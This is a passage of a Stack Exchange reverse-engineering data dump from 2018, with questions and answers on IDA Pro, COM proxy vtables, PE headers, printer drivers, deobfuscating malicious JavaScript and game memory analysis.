  <row Id="19053" PostTypeId="1" CreationDate="2018-08-13T12:52:41.437" Score="1" ViewCount="5188" Body="&lt;p&gt;Many times after closing a file I am working on and trying to open it later I get an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fileName&amp;gt;id0: bTree error: file open error: Permission denied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZX5QM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZX5QM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;even when i copy this file to a new location and make sure i have write permission for it it still fails.&#xA;any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="25313" LastEditorUserId="2147" LastEditDate="2018-08-27T22:46:25.690" LastActivityDate="2023-01-19T22:41:00.603" Title="IDA PRO - .id0: b Tree error: file open error: permission denied" Tags="|ida|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="19055" PostTypeId="2" ParentId="19037" CreationDate="2018-08-13T13:48:48.823" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Fire up API Monitor (with the correct architecture fitting your sample)&lt;/li&gt;&#xA;&lt;li&gt;Set the API hooks you need. This highly depends on what you are looking for. To see which APIs your exe is usually using you can use ApiLogger (&lt;a href=&quot;https://www.aldeid.com/wiki/SysAnalyzer/ApiLogger&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.aldeid.com/wiki/SysAnalyzer/ApiLogger&lt;/a&gt;)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UmHif.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UmHif.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Don't forget to set the Breakpoints &lt;em&gt;Before Call&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WgiqI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WgiqI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my example I set a filter on VirtualAlloc from Kernel32.dll&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Open your sample you want to have a look at:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0ZjSS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ZjSS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you are seeing no results you may have to play with &quot;Attach Using&quot; which is by default set to &quot;Static Import&quot;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Run your sample and if everything works well you'll hit your breakpoint and you can stat to edit (and dump) the corresponding memory:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jJ5JP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jJ5JP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cIwat.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cIwat.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25078" LastActivityDate="2018-08-13T13:48:48.823" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19056" PostTypeId="2" ParentId="19043" CreationDate="2018-08-13T15:01:03.913" Score="8" Body="&lt;p&gt;In PE files, sections are generally mapped at addresses that are multiples of 4kb (this is the default value, though it can be overridden).  That means that even a section that is a single physical byte long will have the entire 4kb of memory allocated for it.  The first section is mapped into memory after the file header, so it will be 4kb away from the file header.  It's rare that a file header requires that much space to be used, now that the Bound Import Table is deprecated, so there's a lot of free space.  0x100 is a nice round number that is beyond the documented standard header size, which is why it's used.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2018-08-13T15:01:03.913" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19057" PostTypeId="2" ParentId="18983" CreationDate="2018-08-13T15:05:48.927" Score="4" Body="&lt;p&gt;This technique allows the code to be position-independent, since there are no explicit references to the specific address that holds the string.  Instead, the call instruction will push onto the stack whatever address was current at the time.  Depending on the assembler (if any) that was used to produce the code, this might simplify some things.  If the code was entirely hand-crafted by typing in hex values, then having position-independence allows other instructions to be inserted without having to recalculate addresses.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2018-08-13T15:05:48.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19058" PostTypeId="2" ParentId="19053" CreationDate="2018-08-14T07:21:46.907" Score="0" Body="&lt;p&gt;You could run Process Monitor (&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&lt;/a&gt;) and filter on the process name of IDA to narrow down the problem and see which operation exactly causes the issue.&lt;/p&gt;&#xA;" OwnerUserId="25078" LastActivityDate="2018-08-14T07:21:46.907" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19060" PostTypeId="2" ParentId="18984" CreationDate="2018-08-14T14:29:29.763" Score="1" Body="&lt;p&gt;In the case you've outlined where the same offset from multiple static addresses modifies the same value, that lets you know that those addresses all lead to the same &lt;strong&gt;structure&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're trying to understand &lt;em&gt;why&lt;/em&gt; that's the case when it seems like there should only be one static address ultimately housing a value, right? That's a completely understandable question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Cheat Engine, you could look for instructions that &lt;strong&gt;access&lt;/strong&gt; each of those addresses to see if there are differing instructions with any of them. If so, that lets you know that the values in those addresses are being used for different things in the game. Two examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Anti-cheat (Where perhaps the same value is written to multiple addresses so as to return false-positives, or the same value has to reside in multiple addresses, else the game crashes, etc.).&lt;/li&gt;&#xA;&lt;li&gt;The more likely scenario with a game like AC, one of those addresses has to do with actual health, the second one deals with the health value you see on the screen, and the third being stored for somewhere else, like maybe buried in a stats menu that also shows your health.&lt;/li&gt;&#xA;&lt;li&gt;Many other possible scenarios that may or may not make sense to you.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, if the instructions you see are the exact same for each address and you trace them all back to a single point where you can't find any differentiation, then you may ultimately be left with not knowing exactly how or why a game reads/writes certain values the way it does. It could be bad optimization from whatever engine was used, or maybe functionality that would have served another purpose, but doesn't, though the values are still written/read as if it was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, a static address can also be viewed as a permanent location where the game will always read from/write to for whatever reason. It's up to you reversing the game to determine what those reasons are (as much as you can, of which as you continue to hack games, you'll understand more and more which of a myriad of reasons there could be).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, there are a lot of reasons for multiple static addresses that can all affect the same value in some way!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-08-14T14:58:23.790" LastActivityDate="2018-08-14T14:58:23.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19061" PostTypeId="1" AcceptedAnswerId="19065" CreationDate="2018-08-14T15:02:47.940" Score="4" ViewCount="411" Body="&lt;p&gt;I am analyzing a malicious javascript. The code is encoded and obfuscated in a way that I did not manage to even partially deobfuscate yet and it is filled with long strings. In order to simplify the task I put the code to &lt;a href=&quot;http://jshint.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JShint&lt;/a&gt;. According to the tool, there are 82 variables that are not used:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QfaCM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QfaCM.png&quot; alt=&quot;JShint output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the context, is it safe to assume that the reason these variables exist is most likely to add to obfuscation but not to fulfill any operation? Would it be reasonable to delete declarations of these variables and have a shorter code to work with?&lt;/p&gt;&#xA;" OwnerUserId="23292" LastActivityDate="2018-08-19T11:11:46.643" Title="Obfuscated code analysis - can unused variables be ignored?" Tags="|obfuscation|deobfuscation|javascript|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19062" PostTypeId="1" AcceptedAnswerId="19079" CreationDate="2018-08-14T15:05:07.393" Score="1" ViewCount="829" Body="&lt;p&gt;When I do dynamic reversing I saw usage with &lt;code&gt;ObjectStublessClientXX&lt;/code&gt; in &lt;code&gt;ole32.dll&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is that function? What does it do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that it supposed to transfer message between 2 processes? I see that after those function called from &lt;code&gt;1.exe&lt;/code&gt; so &lt;code&gt;2.exe&lt;/code&gt; got a message&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="245" LastEditDate="2018-08-14T20:56:10.607" LastActivityDate="2018-09-21T14:02:06.693" Title="What is ObjectStublessClientXX in ole32dll?" Tags="|ida|windows|dll|dynamic-analysis|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19063" PostTypeId="1" AcceptedAnswerId="19074" CreationDate="2018-08-14T15:12:17.613" Score="4" ViewCount="816" Body="&lt;p&gt;I have a binary that uses a lot of COM interfaces. The COM dll's have a typelib resource included that I can extract and/or generate an .idl file (I'm using &lt;a href=&quot;http://www.benf.org/other/olewoo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OleWoo tool&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to load the typelib or an .idl file into Ida Pro so that Ida will recognize the COM interface and show the methods rather than offset such as in this sample:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*(void (__stdcall **)(LPVOID))(*(_DWORD *)ppv + 8))(ppv);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="99" LastActivityDate="2018-08-15T15:51:48.183" Title="Load .IDL / TypeLib into Ida Pro" Tags="|ida|com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19065" PostTypeId="2" ParentId="19061" CreationDate="2018-08-14T22:15:25.550" Score="5" Body="&lt;p&gt;This might be true that those variables are added only to confuse analysis but remember that in Javascript there are so many ways to access the variable that I would take such info from an automated tool with a little grain of salt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be true but it also might be that this code uses non-direct access to those 82 variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having such code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;re = 'testing a variable';&#xA;alert(window['re']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JSHint will tell you that the variable is not used but it is. &lt;code&gt;eval&lt;/code&gt; would be another example of indirect usage the linter can miss.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-08-14T22:15:25.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19066" PostTypeId="1" AcceptedAnswerId="19068" CreationDate="2018-08-14T22:16:30.323" Score="1" ViewCount="654" Body="&lt;p&gt;I'm new in IDA Python, so the question is hard for me. I didn't find any solution in google, so I have to ask for the help there. During code analysis I found decryption function. There are about 1000 calls of this function with different arguments. The function takes one argument - encrypted string, which address is moved to eax before the calling.&#xA;I'd like to write script for running the function for all encrypted strings. I find address of the function using idc.LocByName. Then I found all references to this function (using idautils.CodeRefsTo(addr, 1)). Now I to find the function's argument for each reference and call the function with this argument. &#xA;Could you please advise the way I can do it?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="22626" LastActivityDate="2018-08-15T07:50:14.980" Title="IDA Python call func from idb names with specific arguments" Tags="|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19067" PostTypeId="2" ParentId="19061" CreationDate="2018-08-15T06:51:36.087" Score="0" Body="&lt;p&gt;This is a little off-topic but if you are about to analyze malware as your everyday job you will find yourself in the situation that you don't have the time to deobfuscate every script you will stumble upon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly suggest you make yourself familiar with - for example - SpiderMonkey (&lt;a href=&quot;https://blog.didierstevens.com/programs/spidermonkey/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.didierstevens.com/programs/spidermonkey/&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also have a look at &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4561/how-to-deobfuscate-an-obfuscated-javascript-file-like-this&quot;&gt;How to deobfuscate an obfuscated javascript file like this?&lt;/a&gt; which might guide you to the right direction.&lt;/p&gt;&#xA;" OwnerUserId="25078" LastActivityDate="2018-08-15T06:51:36.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19068" PostTypeId="2" ParentId="19066" CreationDate="2018-08-15T07:50:14.980" Score="0" Body="&lt;p&gt;In general you have 3 possibilities:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Recover arguments statically and use &lt;a href=&quot;https://hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;AppCall&lt;/a&gt; either with IDC or IDAPython in debug session&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Rewrite decryption function in python, &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11332/automating-a-decryption-function-call-in-ida-python&quot;&gt;recover arguments statically&lt;/a&gt; and run the recovered function on each occurrence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - Use something like &lt;a href=&quot;https://github.com/codypierce/pyemu&quot; rel=&quot;nofollow noreferrer&quot;&gt;PyEmu&lt;/a&gt; for running functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually I find variant 2 easier then others.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-08-15T07:50:14.980" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19070" PostTypeId="1" CreationDate="2018-08-15T12:04:36.590" Score="1" ViewCount="3594" Body="&lt;p&gt;How can I find the reference, in IDA, for the dialog and Menu I see in Resource Hacker (RH).&#xA;e.g. I find, in  RH the following Menu items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POPUP &quot;Painter&quot;&#xA;{&#xA;  MENUITEM &quot;Start/Continue&quot;,  32840&#xA;  MENUITEM &quot;Stop&quot;,  32839&#xA;  MENUITEM &quot;Pause&quot;,  32860&#xA;  MENUITEM &quot;Show 100% View&quot;,  32973&#xA;  MENUITEM SEPARATOR&#xA;  MENUITEM &quot;Add Current Preset to Favorites&quot;,  32929&#xA;  ….&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet I cannot find any such text in IDA to refer to these buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if RH shows me e.g. a dialog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;301 DIALOG 0, 0, 186, 51&#xA;STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU&#xA;CAPTION &quot;Measure&quot;&#xA;LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US&#xA;FONT 8, &quot;MS Sans Serif&quot;&#xA;{&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I find it’s reference in IDA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;" OwnerUserId="25313" LastEditorUserId="2147" LastEditDate="2018-08-27T22:53:53.647" LastActivityDate="2024-02-18T03:40:56.600" Title="Resource Hacker and IDA PRO" Tags="|ida|pe-resources|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19071" PostTypeId="2" ParentId="19070" CreationDate="2018-08-15T12:40:13.603" Score="1" Body="&lt;p&gt;Those are placed in resources and by default IDA doesn't load this data. To change that, tick the checkbox on the 'Load a new file' dialog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/doQJw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/doQJw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you can go the this segment by pressing &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; and selecting the &lt;code&gt;.rsrc&lt;/code&gt; one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Zt5bj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zt5bj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see your texts there.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-08-15T12:40:13.603" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19074" PostTypeId="2" ParentId="19063" CreationDate="2018-08-15T15:44:24.720" Score="5" Body="&lt;p&gt;I was able to generate a header file using the midl compiler by exporting the idl file with the OLE/COM Viewer tool (&lt;code&gt;oleview.exe&lt;/code&gt;) from the SDK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From oleview select File -&gt; View TypeLib and then save it via File -&gt; Save As (e.g. &lt;code&gt;MyFile.idl&lt;/code&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then from a Visual Studio command prompt type:&#xA;&lt;code&gt;midl /out c:\temp /header MyFile.h MyFile.idl&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in Ida you can use File -&gt; Load File -&gt; Parse C Header File.&#xA;In Options -&gt; Compiler Options -&gt; Include Directories you can set the paths to the Windows SDK include directories (seperated by &lt;code&gt;;&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2018-08-15T15:51:48.183" LastActivityDate="2018-08-15T15:51:48.183" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19075" PostTypeId="2" ParentId="16576" CreationDate="2018-08-15T16:08:23.590" Score="3" Body="&lt;p&gt;Well, your question is a bit broad as it stands, but let's take it one by one. Typically (but not always) drivers for printers these days are user mode drivers (UMDF), which means you're looking for a DLL. If that were not the case you'd be looking for a .sys file of some kind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Microsoft has come up with a number of &quot;simplified&quot; driver models over the years. Some of those run in user mode, some in kernel mode. Provided this is a modern device and the vendor has updated everything, they'll be using the user mode driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get you started you need to first figure out the driver responsible for your printer. Assuming you are indeed dealing with a USB printer, you should see it with &lt;a href=&quot;http://www.nirsoft.net/utils/usb_devices_view.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;USBDeView&lt;/a&gt; which also helps you identify the driver name. Alternatively try the more generic &lt;a href=&quot;http://www.nirsoft.net/utils/device_manager_view.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;DevManView&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing all that you can look at the printer properties and use the &lt;em&gt;Sharing&lt;/em&gt; tab, provided you're on a recent version of Windows. There you can see the &lt;em&gt;type&lt;/em&gt; of your installed driver, at least. Example for one of my printers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dW6SV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dW6SV.png&quot; alt=&quot;Additional Drivers dialog&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Equipped with that information we can then look into the folder &lt;code&gt;C:\Windows\System32\spool\drivers&lt;/code&gt; (&lt;code&gt;%SystemRoot%\System32\spool\drivers&lt;/code&gt;) and find the actual driver (also check the &lt;code&gt;prtprocs&lt;/code&gt; subfolder instead of &lt;code&gt;drivers&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore you could peek into &lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers&lt;/code&gt; using the Registry Editor built into Windows in order to find details about your driver. Specifically within the subkey corresponding to the printer in question you should find a value named &lt;code&gt;Print Processor&lt;/code&gt; (type string) which contains the name of the print processor. In my case that's &lt;code&gt;ssa7mPC&lt;/code&gt; and this in turn can be tracked down to the DLL &lt;code&gt;C:\Windows\System32\spool\prtprocs\x64\ssa7mpc.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that point on it's not at all clear from your question what you want to achieve. I.e. do you want to intercept something or do you want to reverse engineer the &lt;em&gt;wire&lt;/em&gt; protocol or do you only care about being able to &lt;em&gt;talk&lt;/em&gt; to the printer and so on ... (so until you clarify, I cannot provide more details either).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you also give no information about the printer model, it's hard to provide any meaningful detail beyond what I just gave.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2018-08-15T16:08:23.590" CommentCount="0" CommunityOwnedDate="2018-08-15T16:19:19.373" ContentLicense="CC BY-SA 4.0" />
  <row Id="19077" PostTypeId="1" AcceptedAnswerId="19084" CreationDate="2018-08-16T03:46:21.367" Score="0" ViewCount="1347" Body="&lt;p&gt;I'm trying to unpack an obb file used in an android game. From my initial google searches, it's my understanding that an obb can be basically any type of file. The only lead I have is the magic bytes at the start of the file spell out &quot;AP_Pack!&quot;, but I couldn't find any format matching it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where I'm currently stumped so any next steps would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="25358" LastActivityDate="2018-08-17T09:06:29.787" Title="Determining file format of an OBB" Tags="|file-format|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19078" PostTypeId="2" ParentId="19077" CreationDate="2018-08-16T06:54:28.727" Score="0" Body="&lt;p&gt;Have you tried to open the file with a HEX editor - for example - 010 Editor (&lt;a href=&quot;https://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sweetscape.com/010editor/&lt;/a&gt;) ? You can then see the first bytes of the file and look them up here: &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_file_signatures&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/List_of_file_signatures&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25078" LastEditorUserId="99" LastEditDate="2018-08-16T07:44:33.180" LastActivityDate="2018-08-16T07:44:33.180" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19079" PostTypeId="2" ParentId="19062" CreationDate="2018-08-16T18:08:48.197" Score="5" Body="&lt;p&gt;COM is very abstract idea in Object Oriented Programming (OOP). To understand this well, you need some in-depth knowledge of &lt;a href=&quot;https://en.wikipedia.org/wiki/Inheritance_(object-oriented_programming)&quot; rel=&quot;noreferrer&quot;&gt;Inheritance in OOP&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_method_table&quot; rel=&quot;noreferrer&quot;&gt;Virtual Method Table&lt;/a&gt;, &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms809983.aspx#dbcomrem&quot; rel=&quot;noreferrer&quot;&gt;COM in separate process&lt;/a&gt; and &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/com/marshaling-details&quot; rel=&quot;noreferrer&quot;&gt;Data Marshaling with COM&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Those subroutines are part of a COM Proxy/Stub DLL. Proxy DLL are used when the COM interfaces are defined/implemented in separate DLL files. Think these as a simple function call but with COM virtual tables. In case of dynamic linking, DLL has exported functions and EXE files call them. In case of proxy/stub COM, the underlying functions are defined in a separate DLL files. When an executable call any method the parameters are marshalled (i.e. packed/assembled) through Proxy DLL to the main DLL where all the real things happens. Proxy DLLs contain just the list of those methods, aka. Virtual Functions in Virtual Method Table (vtable or vtbl). So, the &amp;quot;ObjectStublessClient&amp;quot; are the virtual functions only. In simple C language, this can be compared as function pointers in a structure (with oversimplification).&lt;/p&gt;&#xA;&lt;p&gt;In IDA, go to View --&amp;gt; Open subviews --&amp;gt; Names or press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F4&lt;/kbd&gt; to open 'Names Window'.&#xA;Search for 'ProxyVtbl', you can find defined virtual tables. Here is an example of &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/oleidl/nn-oleidl-iolecachecontrol&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;IOleCacheControl interface&lt;/strong&gt;&lt;/a&gt; in Ole32.DLL file.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In IDA assembly view:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:00000001800CE9D0 ; $2F7D790A470334608EE0E1481017719B IOleCacheControlProxyVtbl&#xA;.rdata:00000001800CE9D0 _IOleCacheControlProxyVtbl dq offset IOleCacheControl_ProxyInfo; header.piid&#xA;.rdata:00000001800CE9D0                                         ; DATA XREF: .rdata:00000001800C9BF8↑o&#xA;.rdata:00000001800CE9D0                 db 0D0h, 0AEh, 0Fh, 80h, 1, 3 dup(0); gap8&#xA;.rdata:00000001800CE9D0                 dq offset IUnknown_QueryInterface_Proxy, offset IUnknown_AddRef_Proxy; Vtbl&#xA;.rdata:00000001800CE9D0                 dq offset IUnknown_Release_Proxy, offset ObjectStublessClient3_0; Vtbl&#xA;.rdata:00000001800CE9D0                 dq offset ObjectStublessClient4_0; Vtbl&#xA;.rdata:00000001800CEA08                 align 10h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In oleidl.h file (C++ interface):&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MIDL_INTERFACE(&amp;quot;00000129-0000-0000-C000-000000000046&amp;quot;)&#xA;IOleCacheControl : public IUnknown&#xA;{&#xA;public:&#xA;    virtual HRESULT STDMETHODCALLTYPE OnRun( &#xA;        LPDATAOBJECT pDataObject) = 0;&#xA;    &#xA;    virtual HRESULT STDMETHODCALLTYPE OnStop( void) = 0;&#xA;    &#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In simple C language:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GUID IID_IOleCacheControl = { 0x00000129, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 };&#xA;&#xA;typedef struct _IOleCacheControl IOleCacheControl, *PIOleCacheControl;&#xA;&#xA;struct _IOleCacheControl {&#xA;    &#xA;    //0th IUnknown_QueryInterface_Proxy&#xA;    HRESULT (__fastcall *QueryInterface )( &#xA;        PIOleCacheControl* This,&#xA;        GUID* riid, &#xA;        PVOID* ppvObject&#xA;        );&#xA;    &#xA;    //1st IUnknown_AddRef_Proxy&#xA;    ULONG (__fastcall *AddRef )( &#xA;        PIOleCacheControl* This&#xA;        );&#xA;    &#xA;    //2nd IUnknown_Release_Proxy&#xA;    ULONG (__fastcall *Release )( &#xA;        PIOleCacheControl* This&#xA;        );&#xA;    &#xA;    //3rd ObjectStublessClient3_0&#xA;    HRESULT (__fastcall *OnRun )( &#xA;        PIOleCacheControl* This,&#xA;        IDataObject* pDataObject&#xA;        );&#xA;    &#xA;    //4th ObjectStublessClient4_0&#xA;    HRESULT (__fastcall *OnStop )( &#xA;        PIOleCacheControl* This&#xA;        );&#xA;    &#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first three functions (QueryInterface, AddRef, Release) are inherited from (i.e. copied from) &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/unknwn/nn-unknwn-iunknown&quot; rel=&quot;noreferrer&quot;&gt;IUnknown interface&lt;/a&gt;. Then other remaining virtual functions are named with their offsets. Hence &lt;code&gt;ObjectStublessClient3_0&lt;/code&gt; is the &lt;code&gt;OnRun()&lt;/code&gt; and &lt;code&gt;ObjectStublessClient4_0&lt;/code&gt; is the &lt;code&gt;OnStop()&lt;/code&gt; function pointers. I changed the calling conventions to &lt;code&gt;__fastcall&lt;/code&gt; because Windows binary 